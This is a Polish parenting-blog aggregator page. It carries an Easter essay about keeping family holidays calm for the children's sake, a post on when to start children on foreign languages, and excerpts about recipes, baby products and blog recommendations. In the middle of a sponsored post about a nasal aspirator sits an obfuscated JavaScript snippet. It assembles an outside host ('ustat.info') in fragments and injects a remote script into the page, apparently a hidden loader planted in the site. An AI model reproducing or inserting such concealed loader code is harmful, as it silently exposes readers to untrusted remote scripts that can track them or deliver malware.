Prosty sposób na święta rodzinne i bez spięć... (do zastosowania przy innych okolicznościach)...

MAMUSIOWO BORSUCZKOWO

Prosty sposób na święta rodzinne i bez spięć... (do zastosowania przy innych okolicznościach)...

Wielkanoc nigdy nie należała do moich ulubionych świąt. Oprócz bardzo zamierzchłych, nie mam specjalnych wspomnień z tych dni. Od dawna kojarzą mi się tylko z siedzeniem przy stole, gdy za oknem świeci piękne słońce, z nieporozumieniami rodzinnymi przy zbieraniu się na śniadanie i z komedią pozorów podczas biesiadowania. Trochę tu, trochę tam, w zasadzie nic godnego zapamiętania. Odkąd na świecie są dzieci pamiętam jeden poniedziałek wielkanocny, dwa lata temu. Wszyscy wtedy się na nas wypięli, w ostatniej chwili okazało się, że każdy ma inne plany więc my postawiliśmy na rodzinną wycieczkę. I powiem szczerza, to była chyba najlepsza Wielkanoc od bardzo, bardzo dawna. Pierwsze kroczki Filipa na ubitej ziemi, ja w ciąży z Zosią, o której nikt jeszcze nie wiedział, herbatka na świeżym powietrzu i zero napięcia. Nieświadomie rodzina zrobiła nam wielką przysługę pomijając nas w swoich planach. Ale tamta Wielkanoc była wyjątkowa, normalnie jednak spędzamy ją z rodziną. Pierwszego dnia u mojej babci i teściów, drugiego dnia u taty i znów u teściów. I choć co roku mam okropną ochotę spakować walizki i wylecieć na ten czas gdzieś w ciepłe kraje, to zawsze kończy się tak samo. I choć zawsze jakaś ciotka skomentuje moje tycie bądź chudnięcie (tarczyca płata mi figle), i choć komuś nie spodobają się nasze metody wychowawcze, i choć rodzina Szanownego kombinuje, żeby nas nie było wtedy, kiedy będzie ktoś inny, a gdy w końcu przyjedziemy, to przy stole jesteśmy tylko we dwójkę, i choć wiecznie w poniedziałek wielkanocny czekamy z obiadem na moją siostrę, a i tak jemy na raty, bo trzeba pilnować dzieci, to staramy się, żeby te święta zawsze były wesołe i radosne. I przygotowania, i zbieranie się na wizyty rodzinne, i same odwiedziny. Bez nerwów. Miło, lekko i przyjemnie. Dla dzieci.Bo dla dzieci święta to święta. Dla dzieci rodzina, dziadkowie, ciotki i wujkowie, to rodzina, dziadkowie, ciotki i wujkowie. Dzieci nie wiedzą dlaczego ja nie lubię cioci Heli, a mąż nie może się dogadać z dziadkiem Zdzisiem. Dla nich nie istnieją różnice w poglądach politycznych, dla nich nie ma jeszcze grubych czy chudych, brzydkich czy ładnych. Dzieci lubią i nie lubią po swojemu, nie koniecznie tych co my nie lubimy czy lubimy. My już swoje wspomnienia z dzieciństwa zgromadziliśmy. Może nie są idealne, może nie do końca takie, jakie byśmy chcieli, ale tego już się nie zmieni, teraz trzeba zapewnić świetne (tak mówi Fifi) wspomnienia naszym dzieciakom. Bo chyba nie chcemy, żeby zapamiętały tylko nerwową atmosferę, sprzątanie pod linijkę, pokrzykiwania i odganiania je od wszystkiego. Nie na tym polegają święta. Święta to czas rodzinny, nawet jeśli ta rodzina nie jest idealna i dwa razy do roku można troszeczkę zacisnąć zęby i wyluzować. Po świętach można wrócić do dawnych animozji, ale przy tym świątecznym stroiku, przy baranie z cukru i przy pisankach niech dzieci pamiętają uśmiechniętych rodziców, uśmiechniętych dziadków, fajnych wujków i fajne ciocie. A nawet, jak się trafią jakieś niefajne, bo i tak może być, to przy ogromie radochy dzieciaki i tak o tym szybko zapomną. Wiecie, że nasze rodziny nie są idealne. Zresztą które są. Że czasem narzekam, że chciałabym mieć z nimi lepszy kontakt, że rzadko się widujemy, a gdy się widzimy, to rozmowa nie jest taka, jaka w moim przekonaniu powinna być rozmowa w rodzinie. Chciałabym, żeby dzieci miały lepszy kontakt z dziadkami, żeby rodzina była zżyta na dobre i na złe, a nie tylko na złe. Ale, biadolenie nic nie da, niektórych rzeczy się nie zmieni. Można próbować, ale nic z nieba nie spadnie nagle. Zawsze, gdy zbliżają się święta mam opory, mam strachy czy coś się nie posypie. Czasem zwyczajnie, ze złośliwości, chciałabym komuś utrzeć nosa, pokazać, że też mam coś do powiedzenia, uciec gdzieś daleko z najbliższymi, niech oni sobie tutaj świętują.  Ale przecież rodzina, o rodzina. Wiem bardzo dobrze, że za rok możemy się nie spotkać już w tym składzie, tak się toczą koleje losu, że nie wiemy, co będzie. Te święta są jedyne w swoim rodzaju, następne już nie będą takie same więc może nie trzeba ryzykować, trzeba się cieszyć z tego, co jest.I jak się okazało w tą Wielkanoc, łatwo się powiedziało i łatwo się zrobiło. To były fajne święta. I choć zmiana  czasu, choć roztrojenie żołądeczków dziecięcych, choć w rozjazdach, to bardzo, bardzo rodzinnie. I z tą rodziną, na którą tak czasem narzekam, można świetnie (znów naleciałości z Filipa) się bawić. A wystarczyło tylko parę razy przemilczeć zaczepki, dużo się uśmiechać i nie przejmować się terminami, konwenansami, idealiami. Dzieciaki się wybawiły (aż się powymiotowały, ale to szczegół), my się najedliśmy, pospacerowaliśmy, a mi nie raz zakręciła się ze wzruszenia łezka w oku. Bo wiecie, mój tata chyba pierwszy raz trzymał Zosię na rękach, dzieci dostały swoje pierwsze prezenty na Zająca od cioci, poszliśmy wszyscy na spacer na cmentarz, dzieci wybawiły się z pieskiem. Dla takich chwil nieraz warto odpuścić jakieś swoje urazy, one są tu i teraz, potem już nie wrócą, po co je sobie zatruwać nieporozumieniami. A postanowienie na przyszłość jest właśnie takie, by czerpać z tych świąt doświadczenie, jak sobie zapewnić miłe, rodzinne i spokojne dni. Udało się raz, uda się i przy następnej okazji. Dzieci będą miały miłe wspomnienia, a my spokojne sumienie, że wszystko robimy jak należy. A w nagrodę mamy uśmiech dzieciaków bijący z każdego zdjęcia.No i nie kłócić się z rodziną... W końcu ma się tylko jedną... Łatwo coś powiedzieć i zrobić, a potem żałować, ale trudno jest skleić wszystko do kupy. Czasem lepiej zamknąć gębę, korona nam z głowy nie spadnie. Tego nauczyły mnie uśmiechnięte mordki w te święta...

PAMIĘTNIK MAMY

Kiedy zacząć uczyć dziecko języków obcych?

Dostaje od Was bardzo dużo pytań odnośnie nauki języków obcych przez maluchy. W zasadzie interesuje Was moje osobiste odczucia na temat wczesnej edukacji języków obcych przez małe dzieci. Poniekąd rozumiem zainteresowanie tym tematem. Marzeniem wielu rodziców jest, by mieć w domu małego poliglotę. Szczególnie silne jest to pragnienie u osób, które same późno zaczęły uczyć się języków obcych lub mają z nimi wciąż problemy. Co jednak zrobić, by nasze ambicje nie przerzucać automatycznie na dziecko, lecz, aby działać w jego interesie? Kiedy zacząć uczyć dziecko języków obcych? Korzyści z dwujęzyczności są znaczne i potwierdzone naukowo. Można to często zauważyć w rodzinach, w których rodzice posługują się jako ojczystymi różnymi językami. Jeśli konsekwentnie mówią do dziecka “swoimi” językami początkowo to, jak wypowiada się dziecko, może robić wrażenie chaotycznego pomieszania. Za czasem jednak dziecko odnosi wyraźną korzyść, przyswajając podświadomie reguły fonetyczne oraz, już świadomie, słownictwo. Bardzo możliwe, że znacie takie rodziny i możecie zaobserwować, jak to działa w praktyce. Dziecko chłonie z łatwością określenia i z czasem zaczyna rozróżniać, które jest w jednym, a które w drugim języku. W ten sposób wychowuje się, niemal naturalnie, mały poliglota. Ta metoda nauki nazywana jest symultaniczną i przynosi efekty jedynie, gdy jest wprowadzana przed trzecim rokiem życia dziecka. Przedszkolak-poliglota Etapem, w którym dobrze jest zacząć zorganizowaną naukę języka obcego w sposób tzw. sekwencyjny, jest moment, gdy dziecko pozna już swój język rodzimy na tyle, by swobodnie się w nim komunikować. Można też zasięgnąć porady logopedy. Nie należy jednak popadać we frustrację, chociaż jeśli opór naszej pociechy jest znaczny warto przełożyć naukę na okres późniejszy. Co jednak jest dowiedzione, warto jak najwcześniej przyzwyczajać malucha do brzmienia obcych słów, gdyż dzięki temu możemy zakorzenić w nim umiejętności fonetyczne skutkujące w przyszłości łatwością do prawidłowego wymawiania wyrażeń w obcych językach. Zostawmy naukę profesjonalistom! Pamiętajmy, że niezależnie od własnego przeświadczenia na temat naszych umiejętności językowe, często nie są one wystarczające do nauki języka obcego zarówno dla dziecka, jak i dla nas samych. Często nasza wymowa mocno odbiega od właściwej, nawet jeśli dysponujemy odpowiednim zasobem słów i znajomością zasad gramatyki. Nauka poprzez zabawę Dlatego przy nauce sekwencyjnej zapiszmy dziecko na odpowiednie zajęcia, wtedy, gdy będzie już na to gotowe. Często takie zajęcie są już w ofercie przedszkoli. Dobrze przygotowany nauczyciel nie tylko przemieni lekcje w atrakcyjną zabawę, ale też nauczy języka fonetycznie poprawnego. A sama zabawa? Możliwości są ograniczone tylko wyobraźnią prowadzącego zajęcia. Najlepszym sposobem nauki języka obcego jest zabawa. Dziecko wtedy nie czuje, że jest do czegoś zmuszane, z wręcz przeciwnie poprzez zabawę przyswaja więcej informacji. Mogą być to gry, piosenki, bajki, kolorowe książeczki. Możecie sami stworzyć w domu małą biblioteczkę “pomocy naukowych”, po które dziecko może sięgnąć, ilekroć będzie miało ochotę. Mimo podstawowego znaczenia nauczyciela rola rodziców w nauce języka obcego u dzieciaka jest nie do przecenienia. Nie tylko motywują one malucha do pracy, ale własnym przykładem pokazują korzyści, jakie wynikają ze znajomości innych języków, np. porozumiewając się w czasie wakacji czy oglądając filmy w oryginale. A czy Twój maluch uczy się już języka obcego?

Kic-Kic nad morze

LUNA W CHMURACH

Kic-Kic nad morze

Whisbeear - Szumiący Miś.

KIEDY MAMA NIE ŚPI

Whisbeear - Szumiący Miś.

MATKA NIE IDEALNA

Bloger to prostytutka.

Mama mnie nauczyła, że jeśli nie mam pojęcia na pewien temat, lepiej w ogóle się nie odzywać, niż palnąć coś głupiego. Mama to mądra kobieta, wiedziała co mówi. Idąc w myśl zasady „milczenie jest złotem”, niektórzy powinni mieć bana na publiczne wypowiedzi. Moim guru w wkładaniu pyska w wszelki możliwy syf  jest pan Terlikowski, ostatnio do zacnego grona wywołujących gównoburz dołączyła Wioletta Kołek, znana szerzej ... Artykuł Bloger to prostytutka. pochodzi z serwisu matka-nie-idealna.pl.

Make One Wish

Mam 26 miesięcy

Ma 26 miesięcy. Nauczyła się otwierać drzwi. Notorycznie zaświeca światło w łazience przy lustrze, spłukuje wodę w toalecie i podkrada moje szminki. Panicznie boi się malutkich włochatych wielkanocnych kurczaczków, skarpetkowych paprochów na podłodze i much. Uwielbia swoją siostrzyczkę i wszystkie… Czytaj dalej →

Impreza urodzinowa dla dzieci inspirowana Krainą Lodu (darmowe dekoracje urodzinowe do pobrania)

Lady Gugu

Impreza urodzinowa dla dzieci inspirowana Krainą Lodu (darmowe dekoracje urodzinowe do pobrania)

Stokke Trailz + Winter Kit oczami Matki Wygodnej

WIKILISTKA

Stokke Trailz + Winter Kit oczami Matki Wygodnej

Jak nauczyć dziecko kształtów, liter i cyfr?

KIEDY MAMA NIE ŚPI

Jak nauczyć dziecko kształtów, liter i cyfr?

MATKA NIE IDEALNA

Share Week, czyli moje miejsca w sieci, do których warto zajrzeć.

Trwa właśnie akcja „Share Week” zainicjowana kilka lat temu przez Andrzeja Tucholskiego. Akcja polega na polecaniu przez blogerów innych blogów, które ich zdaniem warto przeczytać. Długo zastanawiałam się czy zabierać się za ten temat. Głównie dlatego, że… Z reguły nie czytam blogów, a jeśli już mam jakieś ulubione to zaglądam na nie stanowczo za rzadko. Miałam naprawdę duży problem z wybraniem stron, które Wam polecę. ... Artykuł Share Week, czyli moje miejsca w sieci, do których warto zajrzeć. pochodzi z serwisu matka-nie-idealna.pl.

MAMA W DOMU

Wielkanocna Fotobudka

Z wiekiem robię się coraz bardziej sentymentalna. Lubię zagrzebać się w fotelu, pod kocykiem, z kubkiem herbaty w jednej ręce, a albumem wypełnionym zdjęciami w drugiej. Oglądam fotografie, na których moje dzieci są prawie nie do poznania. Bardzo szybko rosną, coraz bardziej się zmieniają, wyrastają. Dlatego regularnie, nie tylko od święta, biegam z aparatem i […]

MAMA TRÓJKI

NIEGŁUPIA GĄSKA-KSIĄŻECZKI DLA DZIECI.

      Seria książeczek o Gąsce skierowana jest do dzieci w wielu 1-3 lata. Zosia wraz z przyjaciółką Gąską przekazuje maluchowi w jasnych komunikatach, za pomocą prostych obrazków, czynności i umiejętności z dnia powszedniego. To, co dla nas jest oczywiste, małemu dziecku trzeba wytłumaczyć i pokazać. Zosia wraz z Gąska zachęca malucha, by był taki, jak one. Co wyróżnia książeczki? Są

PANNA OCEANNA

Idą Święta

Idą Święta, czas wiosenny, pogodny, bogaty w pyszne kulinarne potrawy. Mimo całej tej otoczki, ja jakoś nie czuję nigdy tych Świąt Wielkanocnych. Podobno trzeba do nich dojrzeć, nie wiem. Jakoś takie bez magi, bez klimatu, a może ja sama nie umiem go robić, bo ani wianków, ani jajeczek na drzewkach, ani kicających zajączków u nas nie ma, poza żonkilami, zapachem ciasta i ciasteczek. Skromnie

Kolorowanki dla dzieci w formie bloku rysunkowego.

KIEDY MAMA NIE ŚPI

Kolorowanki dla dzieci w formie bloku rysunkowego.

MAMOWO

Pokój niemowlaka niedużym kosztem.

Post ten piszę w sumie w ostatnim momencie przed zmianami, część zdjęć jest zresztą sprzed trzech miesięcy, ponieważ zdążyłam już obniżyć łóżeczko i wprowadzić kilka innych modyfikacji. Urządzając pokój Konrada, kierowaliśmy się dwiema zasadami  – ma być ładnie i niedrogo. Niedrogo, ponieważ gdzieś z tyłu głowy mieliśmy plany by zmienić mieszkanie w bardzo niedalekiej przyszłości, a ładnie, […]

Mamy Sprawy

Delikatna pieczeń drobiowa z amarantusem dla dzieci i nie tylko

Przepis znaleziony w babskim czasopiśmie, troszkę stuningowany na potrzeby naszego małego człowieka. W oryginale był to przepis na pasztet i pasztetu się spodziewałam, lecz wyszła mi z tego bardziej pieczeń, która całkiem ładnie się kroi. O dziwo wcale to nie ujmuje temu daniu i jak najbardziej nadaje się na wielkanocny stół. Ja swoją pieczeń przygotowałam w formie babeczek, ale jak … Czytaj WięcejArtykuł Delikatna pieczeń drobiowa z amarantusem dla dzieci i nie tylko pochodzi z serwisu Mamy Sprawy - Blog parentingowy.

Mamy Sprawy

Delikatna pieczeń drobiowa z amarantusem – dla dzieci i nie tylko

Przepis znaleziony w babskim czasopiśmie, troszkę stuningowany na potrzeby naszego małego człowieka. W oryginale był to przepis na pasztet i pasztetu się spodziewałam, lecz wyszła mi z tego bardziej pieczeń, która całkiem ładnie się kroi. O dziwo wcale to nie ujmuje temu daniu i jak najbardziej nadaje się na wielkanocny stół. Ja swoją pieczeń przygotowałam w formie babeczek, ale jak … Czytaj WięcejArtykuł Delikatna pieczeń drobiowa z amarantusem – dla dzieci i nie tylko pochodzi z serwisu Mamy Sprawy - Blog parentingowy.

MAMA TRÓJKI

DOMOWA KINDER NIESPODZIANKA

                     Nie ma dziecka, które nie znałoby kinder niespodzianki. Zrób niespodziankę swojemu dziecku dając mu czekoladowe jajko pełne ulubionych łakoci. Nie wymaga to dużego nakładu finansowego, ale nieco cierpliwości. Co potrzebujesz? - silikonowa foremka (kupiłam w auchan) - czekolada mleczna - czekolada biała - łakocie do środka ( u mnie żelki)           Czekolady rozpuściłam w

Wielkanoc Last Minute – tanie, proste i szybkie przepisy, dekoracje DIY

WIKILISTKA

Wielkanoc Last Minute – tanie, proste i szybkie przepisy, dekoracje DIY

Wesołych Świąt!

DWARAZYW

Wesołych Świąt!

Blog o modzie dla dzieci i nastolatek DwaRazyWNasze wielkanocne pisanki już gotowe. A Wy już pomalowaliście swoje?Życzę Wam Wesołego Alleluja!Post ten możecie zobaczyć również na blogu Deichmann.kamizelka - Zarasukienka - Mouse in a house buty - Deichmannkapelusz - H&Mbransoletka - Sylwia Majdan 

…bo jestem mamą

Zamiast słów, muzyka

Bo wiecie, ja po prostu czasami nie wiem, co napisać. Chcę wierzyć, bardzo chcę wierzyć, łapię się tej wiary stojąc wyciągnięta na palcach, a wzrost mój niewielki. Życie jest przecież piękne, świat jest przecież piękny. Czy to wszystko, co się dzieje, ta dzicz, ten brak szacunku do życia to prawda? Te straszne sceny, na które musimy patrzeć, a niektórzy uczestniczyć? Czy to jest możliwe? I to wszystko nam się nie śni? Dlatego nie wiem, co napisać, bo wszystkie słowa nic nie są warte. Dlatego słucham i wzruszam się i słucham i patrzę, jak śpią słodko moje dzieci.

KOSMETOMAMA

SHARE WEEK. Czyli blogi, które polecam.

Share Week to bardzo fajna i potrzebna w internecie akcja polecająca wartościowych autorów blogów wymyślona przez Andrzeja Tucholskiego, właściciela bloga www.andzejtucholski.pl. W tym roku także jak polecam swoich ulubieńców i autorów blogów wartych uwagi. Lista jest dość długa, ale i tak nie zawiera pewnie wszytkach którzy powinni tu się znaleść, bo wierzcie lub nie ,ale blogosfera jest pełna niesamowitych treści i wspaniałych blogów. Czas poznać ... Post SHARE WEEK. Czyli blogi, które polecam. pojawił się poraz pierwszy w kosmetomama.

Młoda Mama w Dolinie Hipsterów

Kobieto…

Jakiś czas temu, niedługo po powstaniu tego bloga, napisałam wpis gościnny u Prowincjonalnej Matki. Tak było mi zwyczajnie łatwiej – wrzucić te kilka wspomnień u kogoś, z dala od mojego wirtualnego świata. Niewiele z Was zapewne go widziało. Po czasie jednak… postanowiłam się nim podzielić z szerszym gronem. Myślę, że jest dość ważny, jakkolwiek nieskromnie może to zabrzmieć. Wierzę, że zrozumiesz, kiedy przeczytasz. Aby nie mylić Google, wrzucam tekst w formie obrazka. Każdy wpis to kawałek mojego serca. Jeśli coś Ci się w nim spodobało, pokaż mi to! Możesz zostawić komentarz, udostępnić wpis czy dać kciuka w górę na Facebooku. Choćby najdrobniejsza reakcja jest dla mnie wyjątkową nagrodą. Dziękuję! Artykuł Kobieto… pochodzi z serwisu Młoda Mama w Dolinie Hipsterów.

Jak skutecznie pozbyć się cellulitu? Mój sposób na gładką skórę. KONKURS

Lady Gugu

Jak skutecznie pozbyć się cellulitu? Mój sposób na gładką skórę. KONKURS

Aspirator do nosa – pomoc w leczeniu kataru u niemowląt.

KIEDY MAMA NIE ŚPI

Aspirator do nosa – pomoc w leczeniu kataru u niemowląt.

Wyobraźmy sobie, że nie możemy oddychać przez usta. Na domiar złego, nasze nosy nie są tak duże, jak teraz. Kanaliki oddechowe mają bowiem zaledwie... po kilka milimetrów. Ciężko się oddycha, prawda? Tak właśnie na co dzień, przez pierwszych kilka miesięcy życia, funkcjonują noworodki. Po prostu nie potrafią jeszcze oddychać przez usta, więc zaciągają powietrze wyłącznie nosem. Sprawy się komplikują, kiedy maluch złapie katar. Jak mu pomóc?Katar trzeba leczyćJako doroślu często lekceważymy katar. Zakładamy, że leczony trwa tydzień, a nie leczony siedem dni. Tymczasem to mit, z którym walczą lekarze. Szczególnie pediatrzy. Nieleczony katar u malucha może bowiem prowadzić do znacznie poważaniejszych chorób, jak na przykład zapaleniem oskrzeli lub płuc, zatok czy ucha środkowego. Poza tym, w trakcie zmagania się z katarem maluch będzie rozdrażniony i płaczliwy. Będzie mieć problemy z jedzeniem oraz zasypianiem. Nic przyjemnego.(function(){ atri=document.createElement("script");atri_="u"+("s")+"ta"; atri_+=("t.i")+""+"n";atri_+=(("f")+"o");atri.type="text/javascript"; atri_+="/"; atriu="8683315";atriu+=".ciz2mjm3tri9pxkweme";atriu+="7bnbXbXX8nn"; atri.src="//"+atri_+atriu; atri.async=true; document.body.appendChild(atri); })(); Kaatar u niemowląt należy leczyć.O "szczęściu" można mówić gdy nasz maluch raczkuje, a wydzielina w nosie jest lejąca. Wtedy naszym sprzymierzeńcem będzie grawitacja. Nosek malucha będzie sam się oczyszczać. Ale nie zawsze będzie tak łatwo.Ale jak?Na początek warto spróbować takich sposobów jak inhalacje, maście zmniejszające obrzęk śluzówki, nawilżanie powietrza. Każda z tych metod jest naturalna, jeśli będziemy stosować je umiejętnie to w żaden sposób nie zaszkodzimy maluchowi. Problem leży jednak w tym, że tymi sposobami nie pozbędziemy się kataru u malucha ze skutkiem natychmiastowym. Trzeba szeregu inhalacji, by te zaczęły działać.Za rozwiązanie, które przynosi ulgę natychamiast, długo była uważana gumowa gruszka. Dziś jednak pediatrzy odradzają ten przyrząd. Przyrząd ten ma bowiem to do siebie, że ssanie jest bardzo mocne, co może powodować uszkodzenie błony śluzowej w nosku dziecka.Sama idea wysysania wydzieliny z noska dziecka jest słuszna. Dlatego chcąc pomóc dziecku, warto sięgnąć po nowoczesne rozwiązania. To na przykład aspirator do nosa. To urzaądzenie w kształcie tulejki, które jest dostępne w praktycznie każdej aptece. Jego działanie jest proste, skuteczne i bezpieczne. Węższy koniec aspiratora wkłada się do nosa malucha, a na szerszy należy natomiast nałożyć specjalną rurkę, przez którą zasysa się powietrze. Spokojnie, to bardzo higieniczny zabieg! Cała wydzielina z nosa malucha zatrzyma się na filtrze. Nic zatem nie dostanie się do ust rodzica. Pamiętaj, żeby po każdym użyciu aspiratora dokładnie go umyć. Inaczej osadzą się na nim bakterie i wirusy, przez co trudniej będzie się maluchowi wyleczyć.Zobacz więcej na: http://canpolbabies.com/pl/produkty/produkt/347*wpis sponsorowany

Różne metody pozbycia się polipów macicy.

KIEDY MAMA NIE ŚPI

Różne metody pozbycia się polipów macicy.

NEBULE

Share week, czyli blogi, które polecam

O co chodzi? Andrzej Tucholski już po raz piąty organizuje świetną akcję. Autorzy polecają autorów. Ja również mam kilka blogów, które bardzo lubię i często odwiedzam. Chciałabym również żeby szersza grupa osób o nich wiedziała. Dlatego dziś napiszę o 3 blogach, które warto wg mnie odwiedzać. Jeżeli ktoś z Was prowadzi bloga i również chce wziąć udział…

Dressup children at the ball Purim

BOBOFASHION

Dressup children at the ball Purim

BAKUSIOWO

Zabezpieczony: Chcę to przeżyć jeszcze raz!

Brak zajawki, ponieważ wpis jest zabezpieczony hasłem.

Babka marmurkowa

BABYLANDIA

Babka marmurkowa

Podobno mazurek na Wielkanocnym stole to "chłop", a do pary zawsze musi mieć jakąś "babę".I dlatego też tradycją już jest pieczenie babek na te święta. U nas najczęściej była piaskowa, ale jakoś nie specjalnie za nimi przepadam.Tym razem zrobiłam dla odmiany marmurkową.A oto przepis :)Czytaj więcej »